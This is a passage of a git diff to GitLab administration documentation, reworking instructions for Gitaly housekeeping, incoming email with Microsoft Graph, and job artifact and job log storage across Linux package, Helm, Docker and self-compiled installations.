1. Configure the existing Gitaly instance [to use TCP](praefect.md#use-tcp-for-existing-gitlab-instances), if not already configured that way.
-1. [Move the repositories](../operations/moving_repositories.md#move-repositories). To migrate to
+1. [Move the repositories](../operations/moving_repositories.md#moving-repositories). To migrate to
Gitaly Cluster, existing repositories stored outside Gitaly Cluster must be moved. There is no
- automatic migration but the moves can be scheduled with the GitLab API.
+ automatic migration, but the moves can be scheduled with the GitLab API.
Even if you don't use the `default` repository storage, you must ensure it is configured.
[Read more about this limitation](configure_gitaly.md#gitlab-requires-a-default-repository-storage).
@@ -583,7 +583,7 @@ If the limitations and tradeoffs of Gitaly Cluster are found to be not suitable
off Gitaly Cluster to a sharded Gitaly instance:
1. Create and configure a new [Gitaly server](configure_gitaly.md#run-gitaly-on-its-own-server).
-1. [Move the repositories](../operations/moving_repositories.md#move-repositories) to the newly created storage. You can
+1. [Move the repositories](../operations/moving_repositories.md#moving-repositories) to the newly created storage. You can
move them by shard or by group, which gives you the opportunity to spread them over multiple Gitaly servers.
## Direct access to Git in GitLab
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index 9cc93b21ae9..8b4750b299d 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -177,9 +177,10 @@ database on the same PostgreSQL server if using [Geo](../geo/index.md).
The replication state is internal to each instance of GitLab and should
not be replicated.
-These instructions help set up a single PostgreSQL database, which creates a single point of
-failure. To avoid this, you can configure your own clustered PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is being tracked in
-[a relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/7814).
+These instructions help set up a single PostgreSQL database, which creates a single point of failure. To avoid this, you can configure your own clustered
+PostgreSQL. Support for PostgreSQL replication and failover using Omnibus GitLab is proposed in [epic 7814](https://gitlab.com/groups/gitlab-org/-/epics/7814).
+Clustered database support for other databases (for example, Praefect and Geo databases) is proposed in
+[issue 7292](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/7292).
The following options are available:
diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md
index 7f5d4b9e443..4b8ed74ec62 100644
--- a/doc/administration/gitaly/troubleshooting.md
+++ b/doc/administration/gitaly/troubleshooting.md
@@ -169,7 +169,7 @@ Confirm the following are all true:
- When any user adds or modifies a file from the repository using the GitLab
UI, it immediately fails with a red `401 Unauthorized` banner.
-- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#create-a-blank-project)
+- Creating a new project and [initializing it with a README](../../user/project/index.md#create-a-blank-project)
successfully creates the project but doesn't create the README.
- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server)
on a Gitaly client and reproducing the error, you get `401` errors
diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md
index 584f06ef537..e1b26595bc4 100644
--- a/doc/administration/housekeeping.md
+++ b/doc/administration/housekeeping.md
@@ -34,7 +34,7 @@ Gitaly can perform housekeeping tasks in a Git repository in two ways:
The "eager" housekeeping strategy executes housekeeping tasks in a repository
independent of the repository state. This is the default strategy as used by the
-[manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger).
+[manual trigger](#manual-trigger) and the push-based trigger.
The eager housekeeping strategy is controlled by the GitLab application.
Depending on the trigger that caused the housekeeping job to run, GitLab asks
@@ -45,20 +45,14 @@ be slow.
### Heuristical housekeeping
-> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger) [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default.
+> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 14.9 for the [manual trigger](#manual-trigger) and the push-based trigger [with a flag](feature_flags.md) named `optimized_housekeeping`. Enabled by default.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/353607) in GitLab 14.10.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`.
-
-To make it available, ask an administrator to [enable the feature flag](feature_flags.md) named `optimized_housekeeping`.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107661) in GitLab 15.8. Feature flag `optimized_housekeeping` removed.
The heuristical (or "opportunistic") housekeeping strategy analyzes the
repository's state and executes housekeeping tasks only when it finds one or
more data structures are insufficiently optimized. This is the strategy used by
-[scheduled housekeeping](#scheduled-housekeeping). It can optionally be enabled
-for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger)
-by enabling the `optimized_housekeeping` feature flag.
+[scheduled housekeeping](#scheduled-housekeeping).
Heuristical housekeeping uses the following information to decide on the tasks
it needs to run:
@@ -99,7 +93,7 @@ There are different ways in which GitLab runs housekeeping tasks:
- A project's administrator can [manually trigger](#manual-trigger) repository
housekeeping tasks.
-- GitLab can automatically schedule housekeeping tasks [after a number of Git pushes](#push-based-trigger).
+- GitLab can automatically schedule housekeeping tasks after a number of Git pushes.
- GitLab can [schedule a job](#scheduled-housekeeping) that runs housekeeping
tasks for all repositories in a configurable time frame.
@@ -120,65 +114,10 @@ To trigger housekeeping tasks manually:
1. Select **Run housekeeping**.
This starts an asynchronous background worker for the project's repository. The
-background worker executes `git gc`, which performs a number of optimizations.
-
-<!--- start_remove The following content will be removed on remove_date: '2023-04-22' -->
-
-### Push-based trigger
-
-FLAG:
-On self-managed GitLab, by default this feature is not available and superseded by [heuristical housekeeping](#heuristical-housekeeping). It is planned to be removed in 15.8. To enable the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`.
-
-GitLab automatically runs repository housekeeping tasks after a configured
-number of pushes:
-
-- [`git gc`](https://git-scm.com/docs/git-gc) runs a number of housekeeping tasks such as:
- - Compressing Git objects to reduce disk space and increase performance.
- - Removing unreachable objects that may have been created from changes to the repository, like force-overwriting branches.
-- [`git repack`](https://git-scm.com/docs/git-repack) either:
- - Runs an incremental repack, according to a [configured period](#configure-push-based-maintenance). This
- packs all loose objects into a new packfile and prunes the now-redundant loose objects.
- - Runs a full repack, according to a [configured period](#configure-push-based-maintenance). This repacks all
- packfiles and loose objects into a single new packfile, and deletes the old now-redundant loose
- objects and packfiles. It also optionally creates bitmaps for the new packfile.
-- [`git pack-refs`](https://git-scm.com/docs/git-pack-refs) compresses references
- stored as loose files into a single file.
-
-#### Configure push-based maintenance
-
-You can change how often these tasks run when pushes occur, or you can turn
-them off entirely:
-
-1. On the top bar, select **Main menu > Admin**.
-1. On the left sidebar, select **Settings > Repository**.
-1. Expand **Repository maintenance**.
-1. In the **Housekeeping** section, configure the housekeeping options.
-1. Select **Save changes**.
-
-The following housekeeping options are available:
-
-- **Enable automatic repository housekeeping**: Regularly run housekeeping tasks. If you
- keep this setting disabled for a long time, Git repository access on your GitLab server becomes
- slower and your repositories use more disk space.
-- **Incremental repack period**: Number of Git pushes after which an incremental `git repack` is
- run.
-- **Full repack period**: Number of Git pushes after which a full `git repack` is run.
-- **Git GC period**: Number of Git pushes after which `git gc` is run.
-
-As an example, see the following scenario:
-
-- Incremental repack period: 10.
-- Full repack period: 50.
-- Git GC period: 200.
-
-When the:
-
-- `pushes_since_gc` value is 50, a `repack -A -l -d --pack-kept-objects` runs.
-- `pushes_since_gc` value is 200, a `git gc` runs.
+background worker asks Gitaly to perform a number of optimizations.
Housekeeping also [removes unreferenced LFS files](../raketasks/cleanup.md#remove-unreferenced-lfs-files)
-from your project on the same schedule as the `git gc` operation, freeing up storage space for your
-project.
+from your project every `200` push, freeing up storage space for your project.
### Scheduled housekeeping
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 826340ad967..2093d55d8c0 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -304,7 +304,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox"
# The IDLE command timeout.
gitlab_rails['incoming_email_idle_timeout'] = 60
+# If you are using Microsoft Graph instead of IMAP, set this to false to retain
+# messages in the inbox because deleted messages are auto-expunged after some time.
+gitlab_rails['incoming_email_delete_after_delivery'] = true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
gitlab_rails['incoming_email_expunge_deleted'] = true
```
@@ -342,7 +347,12 @@ incoming_email:
# The IDLE command timeout.
idle_timeout: 60
+ # If you are using Microsoft Graph instead of IMAP, set this to false to retain
+ # messages in the inbox because deleted messages are auto-expunged after some time.
+ delete_after_delivery: true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+ # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
expunge_deleted: true
```
@@ -386,7 +396,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox"
# The IDLE command timeout.
gitlab_rails['incoming_email_idle_timeout'] = 60
+# If you are using Microsoft Graph instead of IMAP, set this to false if you want to retain
+# messages in the inbox because deleted messages are auto-expunged after some time.
+gitlab_rails['incoming_email_delete_after_delivery'] = true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
gitlab_rails['incoming_email_expunge_deleted'] = true
```
@@ -424,7 +439,12 @@ incoming_email:
# The IDLE command timeout.
idle_timeout: 60
+ # If you are using Microsoft Graph instead of IMAP, set this to falseto retain
+ # messages in the inbox because deleted messages are auto-expunged after some time.
+ delete_after_delivery: true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+ # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
expunge_deleted: true
```
@@ -467,6 +487,7 @@ gitlab_rails['incoming_email_port'] = 993
gitlab_rails['incoming_email_ssl'] = true
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
+# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages.
gitlab_rails['incoming_email_expunge_deleted'] = true
```
@@ -497,6 +518,10 @@ incoming_email:
# Whether the IMAP server uses SSL
ssl: true
+ # If you are using Microsoft Graph instead of IMAP, set this to false to retain
+ # messages in the inbox since deleted messages are auto-expunged after some time.
+ delete_after_delivery: true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
expunge_deleted: true
```
@@ -557,6 +582,10 @@ incoming_email:
# Whether the IMAP server uses SSL
ssl: true
+ # If you are using Microsoft Graph instead of IMAP, set this to false to retain
+ # messages in the inbox since deleted messages are auto-expunged after some time.
+ delete_after_delivery: true
+
# Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery
expunge_deleted: true
```
@@ -812,6 +841,7 @@ gitlab_rails['incoming_email_address'] = "incoming+%{key}@example.onmicrosoft.co
# Email account username
gitlab_rails['incoming_email_email'] = "incoming@example.onmicrosoft.com"
+gitlab_rails['incoming_email_delete_after_delivery'] = false
gitlab_rails['incoming_email_inbox_method'] = 'microsoft_graph'
gitlab_rails['incoming_email_inbox_options'] = {
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index 59746fc0f07..5215f0eaed2 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -912,7 +912,7 @@ An upper and lower limit applies to each of these:
The lower limits result in additional diffs being collapsed. The higher limits
prevent any more changes from rendering. For more information about these limits,
-[read the development documentation](../development/diffs.md#diff-limits).
+[read the development documentation](../development/merge_request_concepts/diffs/index.md#diff-limits).
### Merge request reports size limit
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index fb2f73876e8..816cfcb508d 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -16,26 +16,85 @@ finishes. This feature is enabled by default in all GitLab installations.
To disable artifacts site-wide:
-**In Omnibus installations:**
+::Tabs
-1. Edit `/etc/gitlab/gitlab.rb` and add the following line:
+:::TabTitle Linux package (Omnibus)
+
+1. Edit `/etc/gitlab/gitlab.rb`:
```ruby
gitlab_rails['artifacts_enabled'] = false
```
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
+
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
+
+ ```yaml
+ global:
+ appConfig:
+ artifacts:
+ enabled: false
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
-**In installations from source:**
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['artifacts_enabled'] = false
+ ```
-1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines:
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
```yaml
- artifacts:
- enabled: false
+ production: &base
+ artifacts:
+ enabled: false
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
```
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
+::EndTabs
## Storing job artifacts
@@ -48,45 +107,63 @@ Most artifacts are compressed by GitLab Runner before being sent to the coordina
### Using local storage
-To change the location where the artifacts are stored locally, follow the steps
-below.
+If you're using the Linux package or have a self-compiled installation, you
+can change the location where the artifacts are stored locally.
+
+NOTE:
+For Docker installations, you can change the path where your data is mounted.
+For the Helm chart, use
+[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/).
-**In Omnibus installations:**
+::Tabs
-_The artifacts are stored by default in
-`/var/opt/gitlab/gitlab-rails/shared/artifacts`._
+:::TabTitle Linux package (Omnibus)
-1. To change the storage path for example to `/mnt/storage/artifacts`, edit
+The artifacts are stored by default in `/var/opt/gitlab/gitlab-rails/shared/artifacts`.
+
+1. To change the storage path, for example to `/mnt/storage/artifacts`, edit
`/etc/gitlab/gitlab.rb` and add the following line:
```ruby
gitlab_rails['artifacts_path'] = "/mnt/storage/artifacts"
```
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-**In installations from source:**
+:::TabTitle Self-compiled (source)
-_The artifacts are stored by default in
-`/home/git/gitlab/shared/artifacts`._
+The artifacts are stored by default in `/home/git/gitlab/shared/artifacts`.
-1. To change the storage path for example to `/mnt/storage/artifacts`, edit
+1. To change the storage path, for example to `/mnt/storage/artifacts`, edit
`/home/git/gitlab/config/gitlab.yml` and add or amend the following lines:
```yaml
- artifacts:
- enabled: true
- path: /mnt/storage/artifacts
+ production: &base
+ artifacts:
+ enabled: true
+ path: /mnt/storage/artifacts
```
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+::EndTabs
### Using object storage
If you don't want to use the local disk where GitLab is installed to store the
artifacts, you can use an object storage like AWS S3 instead.
-This configuration relies on valid AWS credentials to be configured already.
-Use an object storage option like AWS S3 to store job artifacts.
If you configure GitLab to store artifacts on object storage, you may also want to
[eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage).
@@ -96,149 +173,110 @@ WARNING:
In a multi-server setup you must use one of the options to
[eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage), or job logs could be lost.
-[Read more about using object storage with GitLab](object_storage.md).
-
-#### Object Storage Settings
-
In GitLab 13.2 and later, you should use the
[consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration).
-This section describes the earlier configuration format.
-For source installations the following settings are nested under `artifacts:`
-and then `object_store:`. On Omnibus GitLab installs they are prefixed by
-`artifacts_object_store_`.
+### Migrating to object storage
-| Setting | Default | Description |
-|---------------------|---------|-------------|
-| `enabled` | `false` | Enable or disable object storage. |
-| `remote_directory` | | The bucket name where Artifacts are stored. Use the name only, do not include the path. |
-| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. |
-| `connection` | | Various connection options described below. |
+You can migrate the job artifacts from local storage to object storage. The
+processing is done in a background worker and requires **no downtime**.
-#### Connection settings
+1. [Configure the object storage](#using-object-storage).
+1. Migrate the artifacts:
-See [the available connection settings for different providers](object_storage.md#connection-settings).
+ ::Tabs
-**In Omnibus installations:**
+ :::TabTitle Linux package (Omnibus)
-_The artifacts are stored by default in
-`/var/opt/gitlab/gitlab-rails/shared/artifacts`._
+ ```shell
+ sudo gitlab-rake gitlab:artifacts:migrate
+ ```
-1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, substituting
- the values you want:
+ :::TabTitle Docker
- ```ruby
- gitlab_rails['artifacts_enabled'] = true
- gitlab_rails['artifacts_object_store_enabled'] = true
- gitlab_rails['artifacts_object_store_remote_directory'] = "artifacts"
- gitlab_rails['artifacts_object_store_connection'] = {
- 'provider' => 'AWS',
- 'region' => 'eu-central-1',
- 'aws_access_key_id' => 'AWS_ACCESS_KEY_ID',
- 'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY'
- }
+ ```shell
+ sudo docker exec -t <container name> gitlab-rake gitlab:artifacts:migrate
```
- NOTE:
- If you're using AWS IAM profiles, omit the AWS access key and secret access
- key/value pairs. For example:
+ :::TabTitle Self-compiled (source)
- ```ruby
- gitlab_rails['artifacts_object_store_connection'] = {
- 'provider' => 'AWS',
- 'region' => 'eu-central-1',
- 'use_iam_profile' => true
- }
+ ```shell
+ sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production
```
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
+ ::EndTabs
-**In installations from source:**
+1. Optional. Track the progress and verify that all job artifacts migrated
+ successfully using the PostgreSQL console.
+ 1. Open a PostgreSQL console:
-_The artifacts are stored by default in
-`/home/git/gitlab/shared/artifacts`._
+ ::Tabs
-1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following
- lines:
+ :::TabTitle Linux package (Omnibus)
- ```yaml
- artifacts:
- enabled: true
- object_store:
- enabled: true
- remote_directory: "artifacts" # The bucket name
- connection:
- provider: AWS # Only AWS supported at the moment
- aws_access_key_id: AWS_ACCESS_KEY_ID
- aws_secret_access_key: AWS_SECRET_ACCESS_KEY
- region: eu-central-1
- ```
+ ```shell
+ sudo gitlab-psql
+ ```
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
+ :::TabTitle Docker
-### Migrating to object storage
+ ```shell
+ sudo docker exec -it <container_name> /bin/bash
+ gitlab-psql
+ ```
-After [configuring the object storage](#using-object-storage), use the following task to
-migrate existing job artifacts from the local storage to the remote storage.
-The processing is done in a background worker and requires **no downtime**.
+ :::TabTitle Self-compiled (source)
-**In Omnibus installations:**
+ ```shell
+ sudo -u git -H psql -d gitlabhq_production
+ ```
-```shell
-gitlab-rake gitlab:artifacts:migrate
-```
+ ::EndTabs
-**In installations from source:**
+ 1. Verify that all packages migrated to object storage with the following
+ SQL query. The number of `objectstg` should be the same as `total`:
-```shell
-sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production
-```
+ ```shell
+ gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts;
-You can optionally track progress and verify that all job artifacts migrated successfully using the
-[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+ total | filesystem | objectstg
+ ------+------------+-----------
+ 19 | 0 | 19
+ ```
-- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier.
-- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later.
-- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+1. Verify that there are no files on disk in the `artifacts` directory:
-Verify `objectstg` below (where `store=2`) has count of all job artifacts:
+ ::Tabs
-```shell
-gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts;
+ :::TabTitle Linux package (Omnibus)
-total | filesystem | objectstg
-------+------------+-----------
- 19 | 0 | 19
-```
+ ```shell
+ sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l
+ ```
-Verify that there are no files on disk in the `artifacts` folder:
+ :::TabTitle Docker
-```shell
-sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l
-```
+ Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`:
-In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
-to clean up orphaned artifacts.
+ ```shell
+ sudo find /srv/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l
+ ```
-WARNING:
-JUnit test report artifact (`junit.xml.gz`) migration
-[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
-by the `gitlab:artifacts:migrate` Rake task.
+ :::TabTitle Self-compiled (source)
-### Migrating from object storage to local storage
+ ```shell
+ sudo find /home/git/gitlab/shared/artifacts -type f | grep -v tmp | wc -l
+ ```
-**In Omnibus installations:**
+ ::EndTabs
-To migrate back to local storage:
+In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
+to clean up orphaned artifacts.
-1. Run `gitlab-rake gitlab:artifacts:migrate_to_local`.
-1. Disable object storage for artifacts in `gitlab.rb`:
- - Set `gitlab_rails['artifacts_object_store_enabled'] = false`.
- - Comment out all other `artifacts_object_store` settings, including the entire
- `artifacts_object_store_connection` section, including the closing `}`.
-1. [Reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure).
+### Migrating from object storage to local storage
+
+To migrate back to local storage, you must
+[selectively disable the artifacts storage](object_storage.md#selectively-disabling-object-storage).
## Expiring artifacts
@@ -247,36 +285,93 @@ an expiry for the artifacts, they are marked for deletion right after that date
Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md).
Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq
-runs every 7 minutes (`*/7 * * * *`).
+runs every 7 minutes (`*/7 * * * *` in [Cron](../topics/cron/index.md) syntax).
+
+To change the default schedule on which the artifacts are expired:
-To change the default schedule on which the artifacts are expired, follow the
-steps below.
+::Tabs
-**In Omnibus installations:**
+:::TabTitle Linux package (Omnibus)
-1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if it already exists and is commented out), substituting
- your schedule in cron syntax:
+1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if
+ it already exists and is commented out), substituting your schedule in cron
+ syntax:
```ruby
gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *"
```
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Save the file and reconfigure GitLab:
-**In installations from source:**
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
-1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following
- lines:
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
```yaml
- expire_build_artifacts_worker:
- cron: "*/7 * * * *"
+ global:
+ appConfig:
+ cron_jobs:
+ expire_build_artifacts_worker:
+ cron: "*/7 * * * *"
```
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *"
+ ```
-If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the
-default artifacts expiration setting, which you can find in the [CI/CD Administration settings](../user/admin_area/settings/continuous_integration.md).
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ cron_jobs:
+ expire_build_artifacts_worker:
+ cron: "*/7 * * * *"
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+::EndTabs
## Set the maximum file size of the artifacts
@@ -373,13 +468,41 @@ these artifacts are not processed by the new housekeeping jobs.
You can check the database to confirm if your instance has artifacts with the `unknown` status:
-1. Start a database console, on Omnibus:
+1. Start a database console:
+
+ ::Tabs
+
+ :::TabTitle Linux package (Omnibus)
```shell
sudo gitlab-psql
```
-1. Run this query:
+ :::TabTitle Helm chart (Kubernetes)
+
+ ```shell
+ # Find the toolbox pod
+ kubectl --namespace <namespace> get pods -lapp=toolbox
+ # Connect to the PostgreSQL console
+ kubectl exec -it <toolbox-pod-name> -- /srv/gitlab/bin/rails dbconsole --include-password --database main
+ ```
+
+ :::TabTitle Docker
+
+ ```shell
+ sudo docker exec -it <container_name> /bin/bash
+ gitlab-psql
+ ```
+
+ :::TabTitle Self-compiled (source)
+
+ ```shell
+ sudo -u git -H psql -d gitlabhq_production
+ ```
+
+ ::EndTabs
+
+1. Run the following query:
```sql
select expire_at, file_type, locked, count(*) from ci_job_artifacts
@@ -652,7 +775,7 @@ review:
{"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"}
```
-In both cases, you might need to add `region` to the job artifact [object storage configuration](#connection-settings).
+In both cases, you might need to add `region` to the job artifact [object storage configuration](object_storage.md).
### Job artifact upload fails with `500 Internal Server Error (Missing file)`
diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md
index 9b25c70716b..c8702260ccb 100644
--- a/doc/administration/job_logs.md
+++ b/doc/administration/job_logs.md
@@ -7,8 +7,6 @@ type: reference
# Job logs **(FREE SELF)**
-> [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5.
-
Job logs are sent by a runner while it's processing a job. You can see
logs in job pages, pipelines, email notifications, and so on.
@@ -23,82 +21,125 @@ In the following table you can see the phases a log goes through:
| 2: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
| 3: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
-The `ROOT_PATH` varies per environment. For Omnibus GitLab it
-would be `/var/opt/gitlab`, and for installations from source
-it would be `/home/git/gitlab`.
+The `ROOT_PATH` varies per environment:
+
+- For the Linux package it's `/var/opt/gitlab`.
+- For self-compiled installations it's `/home/git/gitlab`.
## Changing the job logs local location
-To change the location where the job logs are stored, follow the steps below.
+NOTE:
+For Docker installations, you can change the path where your data is mounted.
+For the Helm chart, use object storage.
-**In Omnibus installations:**
+To change the location where the job logs are stored:
-1. Edit `/etc/gitlab/gitlab.rb` and add or amend the following line:
+::Tabs
- ```ruby
- gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds'
- ```
+:::TabTitle Linux package (Omnibus)
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the
- changes to take effect.
+1. Optional. If you have existing job logs, pause continuous integration data
+ processing by temporarily stopping Sidekiq:
-Alternatively, if you have existing job logs you can follow
-these steps to move the logs to a new location without losing any data.
+ ```shell
+ sudo gitlab-ctl stop sidekiq
+ ```
-1. Pause continuous integration data processing by updating this setting in `/etc/gitlab/gitlab.rb`.
- Jobs in progress are not affected, based on how [data flow](#data-flow) works.
+1. Set the new storage location in `/etc/gitlab/gitlab.rb`:
```ruby
- sidekiq['queue_selector'] = true
- sidekiq['queue_groups'] = [
- "feature_category!=continuous_integration"
- ]
+ gitlab_ci['builds_directory'] = '/mnt/gitlab-ci/builds'
```
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the
- changes to take effect.
-1. Set the new storage location in `/etc/gitlab/gitlab.rb`:
+1. Save the file and reconfigure GitLab:
- ```ruby
- gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds'
+ ```shell
+ sudo gitlab-ctl reconfigure
```
